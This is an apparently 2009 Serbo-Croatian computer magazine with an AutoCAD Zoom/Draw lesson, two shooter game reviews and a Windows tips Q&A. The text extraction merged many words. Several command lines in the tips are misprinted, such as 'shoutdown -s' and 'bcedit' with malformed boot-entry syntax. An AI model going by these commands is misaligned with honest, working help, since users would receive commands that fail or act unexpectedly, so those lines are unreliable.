Zoom Center – Komandom Zoom Center zadajemo centarcrteža i visinu prikaza crteža, zadatu u Autocad-ovim jedini-cama.

Zoom Object – Komandom Zoom Object uvećavamo (zumi-ramo) selektovani objekat do granica prostora za crtanje.

Zoom In – Komandom Zoom In uvećavamo dva puta trenutniprikaz.Zoom Out – Smanjujemo dva puta trenutni prikaz.Zoom All – Komandom Zoom All vršimo prikaz površine crtežadefinisane komandom Limits, a ako su elementi crteža nacr-tani izvan ovih granica tada se prikazuje površina koja obuh-vata sve nacrtane elemente.

AutoCad


Zoom Extents – Komanda Zoom Extents namzajednički prikaz svih elemenata na crtežu,maksimalno uvećan.

Draw – je osnovnapaleta alata za crtanje

i neizbježna je pri svakom korišćenju Auto-cad-a.

Line – Ovo je definitivno najznačajnija ko-manda u AutoCAD-u, jer da bismo nacrtalinešto moramo imati skup linija koji će formi-rati neki crtež. Da bismo nacrtali liniju sapalete draw izaberemo komandu Line. Naupit Specify first point biramo početnu tačkulinije, zatim na upit Specify next point bi-ramo krajnju tačku linije, ili u komandnoj linijikucamo dužinu linije u željenim jedinicama.

Construction Line – Ova komanda nam služiza iscrtavanje beskonačne linije preko cijeleradne površine. Construction Line (konstruk-cijska linija) najčešće nam služi kao pomoćnalinija prilikom crtanja i aktivira se isto kao Ikomanda Line.

Polyline – Aktiviranjem ove komandemožemo nacrtati objekat sastavljen od višepravih linija ili od lukova.

Polygon – Ovom komandom možemo nacr-tati zatvoreni geometrijski oblik saproizvoljnim brojem stranica iste dužine.Posle aktiviranja ove komande prvo upišemoželjeni broj stranica a zatim određujemopoložaj I dimenzije traženog geometrijskogoblika.

Rectangle – Crtanje pravougaonika. Ako že-limo da nacrtamo pravougaonik znajući nje-gove obje dimentzije (dužinu I širinu) onda naupit Specify other corner point or (Dimen-sions) u komandnoj liniji ukucamo npr. @3,6( 3 smo uzeli da je dužina a 6 širinapravougaonika).

Revision Cloud – Ova komanda nam služi zacrtanje tzv. revizionih oblačića.

Spline – Ova komanda nam služi za crtanjekrivih linija (krivulja).

Ellipse – Služi za crtanje elipsi. Nakon starto-vanja ove komande i postavljanja centraelipse pomjerimo miša na mjesto gdje ćenam biti kraća tangenta i posle klika pomjer-imo miša na mjesto gdje će nam biti dužatangenta.

Ellipse Arc – Ova komanda nam služi za cr-tanje eliptičnih lukova.

Insert Block – Biće detaljnije objašnjena unekom od sledećih časova.

Make Block – Ova komanda će biti detaljnijeobjašnjena u nekom od sledećih časova.

Point – Unošenje tačaka. Najčešće je koristeinženjeri geodezije prilikom unošenja koordi-nata.

Hatch – Ova komanda će biti detaljnije ob-jašnjena u nekom od sljedećih časova.

Gradient – Takođe u nekom od sljedećihčasova.

Region – Ova komanda nam služi da zatvo-rimo jedno područje u cjelinu i možemo jeprimjeniti samo kad nam je crtež zatvorenlinijama.

Table – Ova komanda nam služi za pravljenjetabela u AutoCAD-u, slično kao u Excell-uMultiline Text – Ova komanda nam služi zaunošenje teksta.

Kratak pregled

- Kako postaviti željenu paletu s ala-tima vidljivom prilikom svakog ot-varanja programa?

- Zoom - paleta za uvećanje/sman-jenje crteža

- Draw - paleta alata za crtanje.

AutoCadGoran Jelić2.


Izgleda da igre na temu II svjetskog rata nikada neće dosaditi,mada nekima možda već jesu. Ovaj put je ubijanjenacista nešto drugačije, jer nacisti više nisuobični vojnici puni mržnje ka svemušto nije njima slično. Sada imajumnogo više borbene moći, mnogonaprednijeg oružja i mnogo nat-prirodne snage. Franšiza Wolfensteinje počela još davne 1981. godine saigrom Castle Wolfenstein. Posle nje se pojavilaigra Wolfenstein 3D, a potom jedna od najboljih pu-cačkih igara ikada, Return to Castle Wolfenstein. Ovoga puta i viimate natprirodne moći koje će vam pomoći da izvršite zadate misije,a sa takvom snagom, čini se da ubijanje vojnika trećeg rajha nikadanije bilo zabavnije. U ovoj igri okupatorske snage iskorišćavaju svojeposlednje resurse u nadi da će otkriti artefakte koji će preokrenutitok rata u njihovu korist.

Savezničke snage su sve svoje nade uložile u špijuna B.J. Blaskowicz-a, čiji je zadatak da se infiltrira među neprijatelja i ukrade misteri-ozne artefakte. B.J. Blaskowicz u toku igra dobija nekoliko kristala,čija će mu moć pomoći u borbi protiv neprijatelja. Uz pomoć kristala,naš junak dobija sposobnost da uspori vrijeme, trči brže, stvara ener-getski štit oko sebe i da poveća probojnu moć svoje municije. Svakofuturističko oružje, kao i ono standardno, može da se nadogradi utoku igre. Posle svake misije dobijate određenu količinu novca, amožete ga skupljati i tokom samog igranja misija.

Zarađenim novcem kupujete razna poboljšanja za vaše oružje.Poboljšanja su predstavljena u vidu snajperskih nišana, šaržera većegkapaciteta, raznih djelova koji poboljšavaju stabilnost i preciznostvašeg oružja, kao i poboljšanja koja povećavaju radijus i jačinu ek-splozije koju pravite bacanjem bombe ili gađanjem iz zolje. Igra jeveoma zabavna dokle god se borite protiv neprijatelja sa ljudskimlikom. Sve to pada u vodu kada u jednom dijelu igre nailazite naraznorazne mutante i čudovišta koja morate potamaniti. Čini se da jepreviše poznatih i dobrih pucačina smješteno u jednu igru. Slobodnose može reći da u ovoj igri ima svega i svačega. Vizuelno je igraodlično urađena i stoji rame uz rame sa najnovijim igrama ovakvevrste. Dizajn nivoa je baš onakav kakav i treba da bude, ulice, trgovi ituneli su puni pravilno raspoređenih neprijateljskih vojnika.

Osjećaćete se kao da gledate neki dokumentarac, jer su okupatorskesnage toliko disciplinovane da ćete biti više nego iznenađeni. Zvučniefekti i muzika su takođe na zavidnom nivou, pa će oni igrači sazvučnim sistemima 5.1 uživati. Treba naglasiti da nam se svidjelo štou pojedinim momentima, pri izlasku mutiranih vojnika iz mraka, seprolama takav zvuk da nijednom igraču neće biti baš svejedno,zaigraće junačko srce. Glasovna gluma je takođe dobra, engleski sanjemačkim akcentom je odličan, mada se u pojedinim dijelovimamože čuti čist engleski od strane njemačkog vojnika, ipak, moralo jeprogramerima nešto promaći. Wolfenstein je definitivno zabavnaigra, a s obzirom da se može preći za nekih 8-9 sati, vrijedi je odigrati.

Danilo Tomčić

Dugo vremena su žanrom pucačkih igara vladale futurističke i teme izII svjetskog rata, a 2006. godine nam je stigla igra sa tematikom divl-jeg zapada, Call of Juarez. Techland je ovaj put umjesto nastavka teigre napravio uvod u život likova Thomas-a i Ray-a, sa igrom Call ofJuarez: Bound in Blood. Može se reći da je ovo drugi dio igre, ali sefokusira na njihove avanture čija se radnja odvija prije prvog dijela.

Thomas i Ray su u početku učesnici američkog civilnog rata, da bi sepotom odmetnuli i postali najtraženiji revolveraši divljeg za-

pada. Igra se sastoji od svih bitnih elemenata koji potiču izvestern filmova, pa neće izostati zlatne groznice, re-

volveraških okršaja jedan na jedan i rata protivborbenih indijanskih plemena. Igra je podijel-

jena u nekoliko poglavlja i na svakompočetku poglavlja imate mogućnost

da birate jednog od braćeMcCall sa kojimćete nastavljatipustolovinu.

Postoji i pardjelova gdje jeponuđena igra sasamo jednim Mc-Call bratom. Svakiod braće imasvoje jaču is-labiju stranu,kao i različitusposobnost ko-rišćenja oružja.Thomas možeda koristi luk sastrijelama i laso,pomoću kojeg semože popeti namjesta gdje Ray nemože stići, a Ray možeda baca dinamit i da ko-risti dva revolvera odjed-nom. Kojeg god brata da izaberete,nećete osjetiti previše razlike u pon-ašanju u toku borbi. Daćemo blagunaklonost Ray-u, jer će vam njegova dvarevolvera mnogo više pomoći u žaruborbe u odnosu na jedan koji možeda upotrijebi Thomas. Thomas i Rayse rijetko razdvajaju u igri, pa ćekompjuter u ulozi jednog od njihuvijek biti uz vas i pomagati vam. Jedina manaovakve AI kontrole se ogleda u tome što kadkompjuter skine nekoliko protivnika on ponekadide dalje, iako meci pljušte na sve strane, paćete tada dobijati poruku na ekranu kako vamje brat u nevolji i kako ga morate spasiti. U borbama gdje su protivnici isuviše blizuvas morate koristiti vaše revolvere sa 6metaka i morate pažljivo ciljati, jer ponovnopunjenje burenceta iziskuje nekoliko sekunditokom kojih neprijatelj može lako doći i ubitivas. Što više budete napredovali kroz igru,tako ćete dobijati mogućnost da kupujetanova, jača i brža oružja, koja će vam

itekako trebati. Novac skupljate otkrivajući skrivene djelove u igri iposle ubijenih protivnika. Bolje je strpiti se nekoliko djelova, skupitidosta novca i kupiti najbolje oružje na tržištu. U igri je zastupljen au-tomatski sistem zaklona iza vrata, kamenja, zaprežnih kola... ali nefunkcioniše baš kako treba, često će se desiti da će vaš junak otići uzaklon bez vaše volje i tako vas zbuniti. Vizuelno je Call of Juarez: Bound in Blood veoma dobra igra. Izgledlikova posjeduje veliki broj detalja, a posebno se vodilo računa o iz-gledu lica likova, gdje možete sa lakoćom vidjeti nabore na licu,ožiljke i sl. Ne bi bio divlji zapad kad ne bi bilo, dobro nam poznatih, obračunajedan na jedan. Ovaj dio je fantastično urađen, tjera vas da držite,pokretom miša, ruku blizu revolvera i da kretanjem lijevo-desno pro-tivnik bude uvijek ispred vas. Zvuk zvona će objaviti početakpovlačenja revolvera i na vama ostaje da samo još budete malo brži

od protivnika. Call of Juarez: Bound in Blood je dobra izabavna igra, a pružiće vam i neke zanimljive momente iz

starih dobrih vestern filmova, koje su mnogi od nasvjerovatno već i zaboravili.

41stranainformacione tehnologijeoktobar2009

Call of Juarez: Bound in Blood Danilo Tomčić

Kako da aktiviram Ready Boost?Microsoftova tehnologija Ready Boost koristikao virtualnu memoriju onu na USBovima imemorijskim karticama umjestno one nadisku. Razlog tome je flash - memorija jebrža i tiša od ugrađenog diska pa se na tajnačin poboljšavaju performanse, a kodprenosnika i smanjuje potrošnja baterije.Ready Boost ne može povećati količinu

ugrađenogRAM-a nitise koristi kaoprodužetakRAM-a.Ready Boostse aktivirakada umet-nemo

spoljnu memoriju i iz AutoPlay opcija od-aberemo stavku "Speed up my system". Ipakvalja imati na umu dvije stvari. Prva je da sustarije USB memorije čak sporije u zapisi-vanju i čitanju podataka od diskova, pa Vistaneće prihvatiti svaku memoriju kao prikladnuza Ready Boost. Druga važna stvar na kojuvalja obratiti pažnju je da za Ready Boostpotrebno imati spoljne memorije barem ko-liko i RAM-a, a Vista dozvoljava korištenje do4GB-a spoljne memorije kao Ready Boost.

Kako ugasiti računartempirano, tj. putemmreže? Računar možete podesiti da se ugasi uzadano vrijeme. Za početak u glavnommeniju kliknite na Start > Run, te u polje up-išite komandu shoutdown -s 4x, s tim da um-jesto X stavite broj sekundi nakon kojih će seVaš računar ugasiti (npr. 7200 će se ugasiti za2 sata). Nakon što kliknete enter otvoriće seprozor koji će početi sa odbrojavanjem.Istom komandom možete gasiti i mrežneračunare, dodajući parametar m. Na primjer,ukoliko u prethodnu liniju dodate -m //workstation1, poslaće te nalog za gašenjeračunara s mrežnim imenom workstation1.

Nevidljiva USB memorija Na kompjuterima gdje imamo višepriključenih internih i mrežnih diskova možeda se dogodi da pri spajanju USB memorije

učitaju odgovarajući driveri, ali se priključenaUSB memorija ne pojavljuje međupriključenim diskovima. Problem je uograničenju slovnih oznaka koje Windowsimogu dati za raspoložive diskove. Taj prob-lem možemo riješiti ovako:Desni klik na My Computer > Manage > DiskManagment, zatim kliknite na stavku "Re-movable device" i odaberite "Change DriveLetter". Ostaje samo da izaberete slovo kojeće postati oznaka Vaše memorije.

Kako mogu najlakše dazaštitim USB diskove odzapisivanja? USB diskove koji nemaju prekidač kojim bi seonemogućilo zapisivanje podataka, možetezaštiti pomoću malenog programa Thumb-screwa - njegovim pokretanjem zabranjujetetj. dozvoljavate pisanje po svim USBdiskovima koji su spojeni na Vaše računalo.Thumbscrew na zaraženom računaru možezaštiti USB memoriju na kojoj Vam se nalazeprogrami za čišćenje virusa kako vam nebizarazili USB memoriju.

Kako da sinhronizujemsadržaje dva direktorijuma? SyncBack je jedan od najlakših i najjednos-tavniji načina za sinhronizaciju datotekaizmeđu dva ili više računara na kojima radite.

Besplatna verzija programa podržava defini-ranje raznih grupa profila kojima možetebaratati datotekama na čvrstim diskovima.

Kako sigurno izbrisatisadržaj diskova prije prodaje ? Pomoću programa ERASER možete iz samihWindowsa sigurno obrisati sadržaj logičkih ilifizičkih diskova prije prodaje. Naravno od

komercijalnih tu je AcronisProofEraser.

Kako da vratim greškomobrisane fajlove?BITNO!!!Pomoću besplatnog programa UndeletePLUSjednostavnog interfejsa vratićete greškomobrisane podatke, fajlove s harddiskova. Nar-avno, moguće je povratiti samo one da-toteke čija pozicija na disku nije umeđuvremenu prepisana drugim podacima.Opšti savjet, kod slučajnog brisanja fajlova,ne radi više ništa i mogućnost vraćanja jeveća.

Kako da omogućim dualboot XP-a nakonViste Dok je instaliranje Viste nakon XP-a trivijalno,i oba ili više instaliranih operativnih sistema idalje biva dostupno iz dual- ili multi-bootmenija, instaliranje XP-a nakon instalacije

Viste to nije. Boot sektori su im različiti,a XP nije svjestan Viste, te će prebrisatinjen boot-sektor i Vista se neće pojavitiu meniju bootovanja. Rješenje je pokre-tanje programa sa Vistinog instala-cionog DVDa. Stavite DVD s Vistom uCDROM, i ukucateD:\boot\bootsect.exe/NT60 ALL . Slovo"D" zamjenite slovom koje pripada

DVD-u na Vašem kompjuteru. Nakon oveoparcije će se po restartu učitati Vista, a dabi dobili mogućnost odabira i XP-a. potrebnoje editovati Vistin BCD Store. To činite ovako:Otvorite Command Prompt i ukucate:

bcedit -create {ntldr} / ´Windows XP´bcedit /set {ntldr} device partition=xp:

(gdje je x: ime trenutno ak-tivne particije)

bcedit /set {ntldr} path /ntldrbcedit /displayorder {ntldr} /addlast


Sva pitanja sa što detaljnijim objašnjenjem problema možete slati na e-mail adresu: [email protected]